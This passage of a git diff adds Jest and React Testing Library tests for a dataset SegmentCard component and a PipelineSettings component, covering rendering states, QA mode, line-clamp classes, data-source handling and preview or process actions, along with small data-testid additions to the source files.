+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const editedBadge = screen.getByText('datasetDocuments.segment.edited')
+      expect(editedBadge).toHaveClass('system-2xs-medium-uppercase')
+    })
+
+    it('should render real Switch component with correct enabled state', () => {
+      const detail = createMockSegmentDetail({ enabled: true, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('bg-components-toggle-bg')
+    })
+
+    it('should render real Switch component with unchecked state', () => {
+      const detail = createMockSegmentDetail({ enabled: false, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('bg-components-toggle-bg-unchecked')
+    })
+
+    it('should render real SegmentIndexTag with position formatting', () => {
+      const detail = createMockSegmentDetail({ position: 1 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-01/i)).toBeInTheDocument()
+    })
+
+    it('should render real SegmentIndexTag with double digit position', () => {
+      const detail = createMockSegmentDetail({ position: 12 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-12/i)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // All Props Variations Tests
+  // --------------------------------------------------------------------------
+  describe('All Props Variations', () => {
+    it('should render correctly with all props provided', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk()]
+      const attachments = [createMockAttachment()]
+      const detail = createMockSegmentDetail({
+        id: 'full-props-segment',
+        position: 10,
+        sign_content: 'Full signed content',
+        content: 'Full content',
+        word_count: 500,
+        hit_count: 25,
+        enabled: true,
+        keywords: ['key1', 'key2'],
+        child_chunks: childChunks,
+        attachments,
+        created_at: 1700000000,
+        updated_at: 1700000001,
+        status: 'completed',
+      })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={jest.fn()}
+          onChangeSwitch={jest.fn()}
+          onDelete={jest.fn()}
+          onDeleteChildChunk={jest.fn()}
+          handleAddNewChildChunk={jest.fn()}
+          onClickSlice={jest.fn()}
+          onClickEdit={jest.fn()}
+          className="full-props-class"
+          archived={false}
+          embeddingAvailable={true}
+          focused={{ segmentIndex: true, segmentContent: true }}
+        />,
+      )
+
+      // ChunkContent shows sign_content first
+      expect(screen.getByText('Full signed content')).toBeInTheDocument()
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should render correctly with minimal props', () => {
+      render(<SegmentCard loading={true} focused={defaultFocused} />)
+
+      expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument()
+    })
+
+    it('should handle loading transition correctly', () => {
+      const detail = createMockSegmentDetail()
+
+      const { rerender } = render(<SegmentCard loading={true} detail={detail} focused={defaultFocused} />)
+
+      // When loading, content should not be visible
+      expect(screen.queryByText('Test signed content')).not.toBeInTheDocument()
+
+      rerender(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent shows sign_content first
+      expect(screen.getByText('Test signed content')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // ChunkContent QA Mode Tests - cover lines 25-49
+  // --------------------------------------------------------------------------
+  describe('ChunkContent QA Mode', () => {
+    it('should render Q and A sections when answer is provided', () => {
+      const detail = createMockSegmentDetail({
+        content: 'This is the question content',
+        answer: 'This is the answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should render Q label
+      expect(screen.getByText('Q')).toBeInTheDocument()
+      // Should render A label
+      expect(screen.getByText('A')).toBeInTheDocument()
+      // Should render question content
+      expect(screen.getByText('This is the question content')).toBeInTheDocument()
+      // Should render answer content
+      expect(screen.getByText('This is the answer content')).toBeInTheDocument()
+    })
+
+    it('should apply line-clamp-2 class when isCollapsed is true in QA mode', () => {
+      mockIsCollapsed.current = true
+      const detail = createMockSegmentDetail({
+        content: 'Question content',
+        answer: 'Answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Markdown components should have line-clamp-2 class when collapsed
+      const markdowns = screen.getAllByTestId('markdown')
+      markdowns.forEach((markdown) => {
+        expect(markdown).toHaveClass('line-clamp-2')
+      })
+    })
+
+    it('should apply line-clamp-20 class when isCollapsed is false in QA mode', () => {
+      mockIsCollapsed.current = false
+      const detail = createMockSegmentDetail({
+        content: 'Question content',
+        answer: 'Answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Markdown components should have line-clamp-20 class when not collapsed
+      const markdowns = screen.getAllByTestId('markdown')
+      markdowns.forEach((markdown) => {
+        expect(markdown).toHaveClass('line-clamp-20')
+      })
+    })
+
+    it('should render QA mode with className applied to wrapper', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Question',
+        answer: 'Answer',
+        sign_content: '',
+        enabled: false,
+      })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // The ChunkContent wrapper should have opacity class when disabled
+      const qaWrapper = container.querySelector('.flex.gap-x-1')
+      expect(qaWrapper).toBeInTheDocument()
+    })
+
+    it('should not render QA mode when answer is empty string', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Regular content',
+        answer: '',
+        sign_content: 'Signed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should not render Q and A labels
+      expect(screen.queryByText('Q')).not.toBeInTheDocument()
+      expect(screen.queryByText('A')).not.toBeInTheDocument()
+      // Should render signed content instead
+      expect(screen.getByText('Signed content')).toBeInTheDocument()
+    })
+
+    it('should not render QA mode when answer is undefined', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Regular content',
+        answer: undefined,
+        sign_content: 'Signed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should not render Q and A labels
+      expect(screen.queryByText('Q')).not.toBeInTheDocument()
+      expect(screen.queryByText('A')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // ChunkContent Non-QA Mode Tests - ensure full coverage
+  // --------------------------------------------------------------------------
+  describe('ChunkContent Non-QA Mode', () => {
+    it('should apply line-clamp-3 in fullDocMode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail({
+        sign_content: 'Content in full doc mode',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-3')
+    })
+
+    it('should apply line-clamp-2 when not fullDocMode and isCollapsed is true', () => {
+      mockDocForm.current = ChunkingMode.text
+      mockIsCollapsed.current = true
+      const detail = createMockSegmentDetail({
+        sign_content: 'Collapsed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-2')
+    })
+
+    it('should apply line-clamp-20 when not fullDocMode and isCollapsed is false', () => {
+      mockDocForm.current = ChunkingMode.text
+      mockIsCollapsed.current = false
+      const detail = createMockSegmentDetail({
+        sign_content: 'Expanded content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-20')
+    })
+
+    it('should fall back to content when sign_content is empty', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Fallback content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('Fallback content')).toBeInTheDocument()
+    })
+
+    it('should render empty string when both sign_content and content are empty', () => {
+      const detail = createMockSegmentDetail({
+        content: '',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveTextContent('')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
index 679a0ec777..ce24b843de 100644
--- a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
+++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
@@ -129,6 +129,7 @@ const SegmentCard: FC<ISegmentCardProps> = ({
 
   return (
     <div
+      data-testid="segment-card"
       className={cn(
         'chunk-card group/card w-full rounded-xl px-3',
         isFullDocMode ? '' : 'pb-2 pt-2.5 hover:bg-dataset-chunk-detail-card-hover-bg',
@@ -172,6 +173,7 @@ const SegmentCard: FC<ISegmentCardProps> = ({
                         popupClassName='text-text-secondary system-xs-medium'
                       >
                         <div
+                          data-testid="segment-edit-button"
                           className='flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-base-hover'
                           onClick={(e) => {
                             e.stopPropagation()
@@ -184,7 +186,9 @@ const SegmentCard: FC<ISegmentCardProps> = ({
                         popupContent='Delete'
                         popupClassName='text-text-secondary system-xs-medium'
                       >
-                        <div className='group/delete flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-destructive-hover'
+                        <div
+                          data-testid="segment-delete-button"
+                          className='group/delete flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-destructive-hover'
                           onClick={(e) => {
                             e.stopPropagation()
                             setShowModal(true)
diff --git a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
index f22024bb8e..b013d952a7 100644
--- a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
+++ b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
@@ -10,7 +10,7 @@ import {
 const ParentChunkCardSkelton = () => {
   const { t } = useTranslation()
   return (
-    <div className='flex flex-col pb-2'>
+    <div data-testid='parent-chunk-card-skeleton' className='flex flex-col pb-2'>
       <SkeletonContainer className='gap-y-0 p-1 pb-0'>
         <SkeletonContainer className='gap-y-0.5 px-2 pt-1.5'>
           <SkeletonRow className='py-0.5'>
diff --git a/web/app/components/datasets/documents/detail/context.ts b/web/app/components/datasets/documents/detail/context.ts
index 1d6f121d6b..ae737994d9 100644
--- a/web/app/components/datasets/documents/detail/context.ts
+++ b/web/app/components/datasets/documents/detail/context.ts
@@ -1,7 +1,7 @@
 import type { ChunkingMode, ParentMode } from '@/models/datasets'
 import { createContext, useContextSelector } from 'use-context-selector'
 
-type DocumentContextValue = {
+export type DocumentContextValue = {
   datasetId?: string
   documentId?: string
   docForm?: ChunkingMode
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx
new file mode 100644
index 0000000000..79968b5b24
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx
@@ -0,0 +1,786 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import PipelineSettings from './index'
+import { DatasourceType } from '@/models/pipeline'
+import type { PipelineExecutionLogResponse } from '@/models/pipeline'
+
+// Mock i18n
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+// Mock Next.js router
+const mockPush = jest.fn()
+const mockBack = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+    back: mockBack,
+  }),
+}))
+
+// Mock dataset detail context
+const mockPipelineId = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string; doc_form: string } }) => unknown) =>
+    selector({ dataset: { pipeline_id: mockPipelineId, doc_form: 'text_model' } }),
+}))
+
+// Mock API hooks for PipelineSettings
+const mockUsePipelineExecutionLog = jest.fn()
+const mockMutateAsync = jest.fn()
+const mockUseRunPublishedPipeline = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  usePipelineExecutionLog: (params: { dataset_id: string; document_id: string }) => mockUsePipelineExecutionLog(params),
+  useRunPublishedPipeline: () => mockUseRunPublishedPipeline(),
+  // For ProcessDocuments component
+  usePublishedPipelineProcessingParams: () => ({
+    data: { variables: [] },
+    isFetching: false,
+  }),
+}))
+
+// Mock document invalidation hooks
+const mockInvalidDocumentList = jest.fn()
+const mockInvalidDocumentDetail = jest.fn()
+jest.mock('@/service/knowledge/use-document', () => ({
+  useInvalidDocumentList: () => mockInvalidDocumentList,
+  useInvalidDocumentDetail: () => mockInvalidDocumentDetail,
+}))
+
+// Mock Form component in ProcessDocuments - internal dependencies are too complex
+jest.mock('../../../create-from-pipeline/process-documents/form', () => {
+  return function MockForm({
+    ref,
+    initialData,
+    configurations,
+    onSubmit,
+    onPreview,
+    isRunning,
+  }: {
+    ref: React.RefObject<{ submit: () => void }>
+    initialData: Record<string, unknown>
+    configurations: Array<{ variable: string; label: string; type: string }>
+    schema: unknown
+    onSubmit: (data: Record<string, unknown>) => void
+    onPreview: () => void
+    isRunning: boolean
+  }) {
+    if (ref && typeof ref === 'object' && 'current' in ref) {
+      (ref as React.MutableRefObject<{ submit: () => void }>).current = {
+        submit: () => onSubmit(initialData),
+      }
+    }
+    return (
+      <form
+        data-testid="process-form"
+        onSubmit={(e) => {
+          e.preventDefault()
+          onSubmit(initialData)
+        }}
+      >
+        {configurations.map((config, index) => (
+          <div key={index} data-testid={`field-${config.variable}`}>
+            <label>{config.label}</label>
+          </div>
+        ))}
+        <button type="button" data-testid="preview-btn" onClick={onPreview} disabled={isRunning}>
+          Preview
+        </button>
+      </form>
+    )
+  }
+})
+
+// Mock ChunkPreview - has complex internal state and many dependencies
+jest.mock('../../../create-from-pipeline/preview/chunk-preview', () => {
+  return function MockChunkPreview({
+    dataSourceType,
+    localFiles,
+    onlineDocuments,
+    websitePages,
+    onlineDriveFiles,
+    isIdle,
+    isPending,
+    estimateData,
+  }: {
+    dataSourceType: string
+    localFiles: unknown[]
+    onlineDocuments: unknown[]
+    websitePages: unknown[]
+    onlineDriveFiles: unknown[]
+    isIdle: boolean
+    isPending: boolean
+    estimateData: unknown
+  }) {
+    return (
+      <div data-testid="chunk-preview">
+        <span data-testid="datasource-type">{dataSourceType}</span>
+        <span data-testid="local-files-count">{localFiles.length}</span>
+        <span data-testid="online-documents-count">{onlineDocuments.length}</span>
+        <span data-testid="website-pages-count">{websitePages.length}</span>
+        <span data-testid="online-drive-files-count">{onlineDriveFiles.length}</span>
+        <span data-testid="is-idle">{String(isIdle)}</span>
+        <span data-testid="is-pending">{String(isPending)}</span>
+        <span data-testid="has-estimate-data">{String(!!estimateData)}</span>
+      </div>
+    )
+  }
+})
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory functions for test data
+const createMockExecutionLogResponse = (
+  overrides: Partial<PipelineExecutionLogResponse> = {},
+): PipelineExecutionLogResponse => ({
+  datasource_type: DatasourceType.localFile,
+  input_data: { chunk_size: '100' },
+  datasource_node_id: 'datasource-node-1',
+  datasource_info: {
+    related_id: 'file-1',
+    name: 'test-file.pdf',
+    extension: 'pdf',
+  },
+  ...overrides,
+})
+
+const createDefaultProps = () => ({
+  datasetId: 'dataset-123',
+  documentId: 'document-456',
+})
+
+describe('PipelineSettings', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockPush.mockClear()
+    mockBack.mockClear()
+    mockMutateAsync.mockClear()
+    mockInvalidDocumentList.mockClear()
+    mockInvalidDocumentDetail.mockClear()
+
+    // Default: successful data fetch
+    mockUsePipelineExecutionLog.mockReturnValue({
+      data: createMockExecutionLogResponse(),
+      isFetching: false,
+      isError: false,
+    })
+
+    // Default: useRunPublishedPipeline mock
+    mockUseRunPublishedPipeline.mockReturnValue({
+      mutateAsync: mockMutateAsync,
+      isIdle: true,
+      isPending: false,
+    })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering with real components
+  describe('Rendering', () => {
+    it('should render without crashing when data is loaded', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Real LeftHeader should render with correct content
+      expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.addDocuments.steps.processDocuments')).toBeInTheDocument()
+      // Real ProcessDocuments should render
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      // ChunkPreview should render
+      expect(screen.getByTestId('chunk-preview')).toBeInTheDocument()
+    })
+
+    it('should render Loading component when fetching data', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: true,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Loading component should be rendered, not main content
+      expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+
+    it('should render AppUnavailable when there is an error', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+        isError: true,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - AppUnavailable should be rendered
+      expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument()
+    })
+
+    it('should render container with correct CSS classes', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      const mainContainer = container.firstChild as HTMLElement
+      expect(mainContainer).toHaveClass('relative', 'flex', 'min-w-[1024px]')
+    })
+  })
+
+  // ==================== LeftHeader Integration ====================
+  // Test real LeftHeader component behavior
+  describe('LeftHeader Integration', () => {
+    it('should render LeftHeader with title prop', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - LeftHeader displays the title
+      expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument()
+    })
+
+    it('should render back button in LeftHeader', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Back button should exist with proper aria-label
+      const backButton = screen.getByRole('button', { name: 'common.operation.back' })
+      expect(backButton).toBeInTheDocument()
+    })
+
+    it('should call router.back when back button is clicked', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      const backButton = screen.getByRole('button', { name: 'common.operation.back' })
+      fireEvent.click(backButton)
+
+      // Assert
+      expect(mockBack).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==================== Props Testing ====================
+  describe('Props', () => {
+    it('should pass datasetId and documentId to usePipelineExecutionLog', () => {
+      // Arrange
+      const props = { datasetId: 'custom-dataset', documentId: 'custom-document' }
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(mockUsePipelineExecutionLog).toHaveBeenCalledWith({
+        dataset_id: 'custom-dataset',
+        document_id: 'custom-document',
+      })
+    })
+  })
+
+  // ==================== Memoization - Data Transformation ====================
+  describe('Memoization - Data Transformation', () => {
+    it('should transform localFile datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.localFile,
+        datasource_info: {
+          related_id: 'file-123',
+          name: 'document.pdf',
+          extension: 'pdf',
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('local-files-count')).toHaveTextContent('1')
+      expect(screen.getByTestId('datasource-type')).toHaveTextContent(DatasourceType.localFile)
+    })
+
+    it('should transform websiteCrawl datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.websiteCrawl,
+        datasource_info: {
+          content: 'Page content',
+          description: 'Page description',
+          source_url: 'https://example.com/page',
+          title: 'Page Title',
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('website-pages-count')).toHaveTextContent('1')
+      expect(screen.getByTestId('local-files-count')).toHaveTextContent('0')
+    })
+
+    it('should transform onlineDocument datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.onlineDocument,
+        datasource_info: {
+          workspace_id: 'workspace-1',
+          page: { page_id: 'page-1', page_name: 'Notion Page' },
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('online-documents-count')).toHaveTextContent('1')
+    })
+
+    it('should transform onlineDrive datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.onlineDrive,
+        datasource_info: { id: 'drive-1', type: 'doc', name: 'Google Doc', size: 1024 },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('online-drive-files-count')).toHaveTextContent('1')
+    })
+  })
+
+  // ==================== User Interactions - Process ====================
+  describe('User Interactions - Process', () => {
+    it('should trigger form submit when process button is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      // Find the "Save and Process" button (from real ProcessDocuments > Actions)
+      const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+      fireEvent.click(processButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalled()
+      })
+    })
+
+    it('should call handleProcess with is_preview=false', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            is_preview: false,
+            pipeline_id: mockPipelineId,
+            original_document_id: 'document-456',
+          }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should navigate to documents list after successful process', async () => {
+      // Arrange
+      mockMutateAsync.mockImplementation((_request, options) => {
+        options?.onSuccess?.()
+        return Promise.resolve({})
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockPush).toHaveBeenCalledWith('/datasets/dataset-123/documents')
+      })
+    })
+
+    it('should invalidate document cache after successful process', async () => {
+      // Arrange
+      mockMutateAsync.mockImplementation((_request, options) => {
+        options?.onSuccess?.()
+        return Promise.resolve({})
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockInvalidDocumentList).toHaveBeenCalled()
+        expect(mockInvalidDocumentDetail).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==================== User Interactions - Preview ====================
+  describe('User Interactions - Preview', () => {
+    it('should trigger preview when preview button is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalled()
+      })
+    })
+
+    it('should call handlePreviewChunks with is_preview=true', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            is_preview: true,
+            pipeline_id: mockPipelineId,
+          }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should update estimateData on successful preview', async () => {
+      // Arrange
+      const mockOutputs = { chunks: [], total_tokens: 50 }
+      mockMutateAsync.mockImplementation((_req, opts) => {
+        opts?.onSuccess?.({ data: { outputs: mockOutputs } })
+        return Promise.resolve({ data: { outputs: mockOutputs } })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true')
+      })
+    })
+  })
+
+  // ==================== API Integration ====================
+  describe('API Integration', () => {
+    it('should pass correct parameters for preview', async () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.localFile,
+        datasource_node_id: 'node-xyz',
+        datasource_info: { related_id: 'file-1', name: 'test.pdf', extension: 'pdf' },
+        input_data: {},
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert - inputs come from initialData which is transformed by useInitialData
+      // Since usePublishedPipelineProcessingParams returns empty variables, inputs is {}
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          {
+            pipeline_id: mockPipelineId,
+            inputs: {},
+            start_node_id: 'node-xyz',
+            datasource_type: DatasourceType.localFile,
+            datasource_info_list: [{ related_id: 'file-1', name: 'test.pdf', extension: 'pdf' }],
+            is_preview: true,
+          },
+          expect.any(Object),
+        )
+      })
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  describe('Edge Cases', () => {
+    it.each([
+      [DatasourceType.localFile, 'local-files-count', '1'],
+      [DatasourceType.websiteCrawl, 'website-pages-count', '1'],
+      [DatasourceType.onlineDocument, 'online-documents-count', '1'],
+      [DatasourceType.onlineDrive, 'online-drive-files-count', '1'],
+    ])('should handle %s datasource type correctly', (datasourceType, testId, expectedCount) => {
+      // Arrange
+      const datasourceInfoMap: Record<DatasourceType, Record<string, unknown>> = {
+        [DatasourceType.localFile]: { related_id: 'f1', name: 'file.pdf', extension: 'pdf' },
+        [DatasourceType.websiteCrawl]: { content: 'c', description: 'd', source_url: 'u', title: 't' },
+        [DatasourceType.onlineDocument]: { workspace_id: 'w1', page: { page_id: 'p1' } },
+        [DatasourceType.onlineDrive]: { id: 'd1', type: 'doc', name: 'n', size: 100 },
+      }
+
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: datasourceType,
+        datasource_info: datasourceInfoMap[datasourceType],
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId(testId)).toHaveTextContent(expectedCount)
+    })
+
+    it('should show loading state during initial fetch', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: true,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+
+    it('should show error state when API fails', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+        isError: true,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==================== State Management ====================
+  describe('State Management', () => {
+    it('should initialize with undefined estimateData', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
